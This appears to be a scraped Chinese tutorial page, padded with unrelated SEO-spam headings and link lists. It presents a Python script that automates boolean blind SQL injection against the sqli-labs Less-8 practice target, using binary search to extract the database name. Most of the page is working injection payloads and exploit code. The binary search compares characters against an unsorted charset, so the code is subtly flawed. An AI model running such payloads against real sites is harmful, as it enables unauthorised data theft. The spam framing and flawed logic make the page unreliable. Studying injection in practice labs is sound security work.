当前位置: 首页 > wzjs >正文

深圳龙华做网站公司如何自己做网络推广

深圳龙华做网站公司,如何自己做网络推广,做搜狗pc网站排名,开发网站建设设计公司为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。以靶场sqli为例:import requests# 目标URL url "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数…

为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。

以靶场sqli为例:

import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度
def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

代码解释:

  1. get_database_length 函数:与原代码相同,用于推断数据库名的长度。
  2. get_database_name 函数
    • 使用二分查找来推断数据库名的每一个字符。
    • 对于每一个位置 i,初始化左右指针 left 和 right 分别指向字符集的起始和结束位置。
    • 在每次循环中,取中间位置 mid 的字符 char,构造 SQL 注入 payload 进行判断。
    • 如果判断结果为真,则将左指针 left 移动到 mid + 1;否则,将右指针 right 移动到 mid - 1
    • 当 left > right 时,循环结束,此时 charset[right] 即为该位置的正确字符。
  3. 主函数:调用 get_database_length 函数获取数据库名的长度,然后调用 get_database_name 函数推断数据库名,并输出结果。

运行结果:

成功字符比对出数据库长度和名称

http://www.dtcms.com/wzjs/61969.html

相关文章:

  • 有没有做网站源代码 修改的河北百度推广客服电话
  • 扬州建设工程信息网站sem招聘
  • 零基础网站建设教程怎么给自己的公司做网站
  • 商城网站开发网关键词优化多少钱
  • 吉安哪里做网站网站优化策略分析论文
  • p2p网站数据分析怎么做优化服务平台
  • 政务服务网站 建设方案摘抄一小段新闻
  • 巴中做网站在线推广网站的方法
  • c2b是什么意思seo快速排名服务
  • 网站建设需要哪些成本淘宝竞价排名
  • 电脑怎么做网站什么叫软文
  • 淘宝做关键词的网站竞价代运营
  • 自己做的网站抬头在哪里改湖南广告优化
  • 色彩网站设计师百度官方认证
  • 福建:网站建设谷歌商店paypal官网
  • 做网站买完域名还需要什么优化的概念
  • 代做预算网站阿里指数查询官网入口
  • 济南网站APP热狗seo优化外包
  • 做电商网站有什语言好百度关键词排名用什么软件
  • 做网站要花多少钱郑州见效果付费优化公司
  • 专业网站建设品牌策划方案我要看今日头条
  • 北京网站建设曝光尚词网网页设计模板图片
  • 西宁建一个网站公司想开个网站怎样开
  • 制作网站的公司不干了美国疫情最新情况
  • 创世网站建设公司google下载安卓版
  • 高端建站模版外贸怎么建立自己的网站
  • 临时域名 wordpress超级优化空间
  • 购物网站建设机构优化网站排名方法教程
  • 成都信用建设网站网络推广怎么学
  • 让路由器做网站服务器域名权重查询工具